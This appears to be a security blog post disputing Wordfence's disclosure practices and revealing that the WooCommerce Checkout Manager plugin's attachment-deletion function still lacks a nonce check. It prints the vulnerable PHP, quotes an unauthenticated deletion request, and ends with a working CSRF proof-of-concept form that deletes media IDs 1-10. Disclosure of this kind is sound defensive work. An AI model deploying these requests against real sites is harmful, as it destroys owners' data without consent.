08 May

Wordfence Exposes Unfixed Vulnerability in WordPress Plugin in Post Criticizing Us for Doing the Same

The people behind the Wordfence Security plugin do some strange stuff. For example, in a recent post they again referred to us as an “unnamed security researcher”:

The file upload vulnerability was initially made public in a report by an unnamed security researcher, which was irresponsibly published on April 23rd without privately notifying the plugin’s author.

They know who we are, but for whatever strange reason they keep referring to us that way. It is especially odd since we have never claimed to be security researchers nor are we.

What makes that sentence even worse is that the very post they wrote that in publicly exposes an unfixed and previously undisclosed cross-site request forgery (CSRF) vulnerability in the plugin being discussed in their post, WooCommerce Checkout Manager.

Before we get to that it is important to note that as is so often the case they are unintentionally admitting to not doing a good job of things they claim to be better at. They write this:

At this time, we have not identified significant exploitation of either of these vulnerabilities.

That was posted on May 2, but we had already seen hackers probing for usage on the plugin on April 24 and publicly noted that the next day. That might explain why they don’t mention who really are, since people would know that there is a company keep ahead of vulnerabilities instead of warning people after they have been widely exploited (at which point Wordfence advertises doing cleanups of the hacks they could have helped to avoid instead).

CSRF Hasn’t Been Fixed

In Wordfence’s post they note that following function allows for deleting files handled through WordPress media system:

2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
function update_attachment_wccm_callback() {
 
	global $post, $wpdb, $woocommerce;
 
	$array1 = explode( ',', sanitize_text_field( isset( $_POST['wccm_default_keys_load'] ) ? $_POST['wccm_default_keys_load'] : '' ) );
	$array2 = explode( ',', sanitize_text_field( isset( $_POST['product_image_gallery'] ) ? $_POST['product_image_gallery'] : '' ) );
	$attachment_ids = array_diff( $array1, $array2 );
 
	if( isset( $_POST['wccm_default_keys_load'] ) ) {
		if( !empty( $attachment_ids ) ) {
			foreach( $attachment_ids as $key => $values ) {
				wp_delete_attachment( $attachment_ids[$key] );
			}
		}
		echo __('Deleted successfully.','woocommerce-checkout-manager');
	}
	die();
 
}

Wordfence notes that this was only intended for high level users, but was accessible to anyone:

The function is only intended for Administrator and Shop Manager users, but was available to unauthenticated users due to its additional nopriv_ registration and a lack of capabilities checks.

What should be fairly obvious to anyone that deals with vulnerabilities is that also missing there is a nonce check to prevent cross-site request forgery (CSRF), otherwise an attacker can cause someone that is intended to have access to it, to delete media without intending it.

While Wordfence, again for some strange reason, makes a big deal of us including proof of concepts with our reports, their post includes one as well, but just doesn’t refer to it that way (Do they think that using the phrase “proof of concept” is the real issue?):

For example, to delete any media files with IDs from 1 to 10, you’d send a POST request to http://example[.]com/wp-admin/admin-ajax.php?action=update_attachment_wccm with the POST body wccm_default_keys_load=1,2,3,4,5,6,7,8,9,10.

Somehow despite doing that they missed the lack of protection against CSRF.

In the version Wordfence claims fixes the issue the function has been changed to this:

2070
2071
2072
2073
2074
2075
2076
2077
2078
2079
2080
2081
2082
2083
2084
2085
2086
2087
2088
2089
2090
2091
2092
2093
2094
2095
2096
2097
2098
2099
2100
2101
2102
2103
2104
2105
2106
2107
2108
function update_attachment_wccm_callback() {
 
	global $post, $wpdb, $woocommerce;
 
	// Check the User has the manage_woocommerce capability
	if( current_user_can( 'manage_woocommerce' ) == false )
		die();
 
	$array1 = explode( ',', sanitize_text_field( isset( $_POST['wccm_default_keys_load'] ) ? $_POST['wccm_default_keys_load'] : '' ) );
	$array2 = explode( ',', sanitize_text_field( isset( $_POST['product_image_gallery'] ) ? $_POST['product_image_gallery'] : '' ) );
	$attachment_ids = array_diff( $array1, $array2 );
 
	if( isset( $_POST['wccm_default_keys_load'] ) ) {
		if( !empty( $attachment_ids ) ) {
			foreach( $attachment_ids as $key => $attachtoremove ) {
 
				// Check the Attachment exists...
				if( get_post_status( $attachtoremove ) == false )
					continue;
 
				// Check the Attachment is associated with an Order
				$post_parent = get_post_field( 'post_parent', $attachtoremove );
				if( empty( $post_parent ) ) {
					continue;
				} else {
					if( get_post_type( $post_parent ) <> 'shop_order' )
						continue;
				}
 
				// Delete the Attachment
				wp_delete_attachment( $attachtoremove );
 
			}
		}
		echo __('Deleted successfully.','woocommerce-checkout-manager');
	}
	die();
 
}

That adds a capabilities check:

2175
2176
if( current_user_can( 'manage_woocommerce' ) == false )
	die();

But there is no nonce check.

The changes to the code also limit media files that can be deleted to only ones handled by the plugin.

We have notified the developer of the disclosure.

Proof of Concept

The following proof of concept will delete any files uploaded through this plugin with IDs 1-10.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=update_attachment_wccm" method="POST">
<input type="hidden" name="wccm_default_keys_load" value="1,2,3,4,5,6,7,8,9,10" />
<input type="submit" value="Submit" />
</form>
</body>
</html>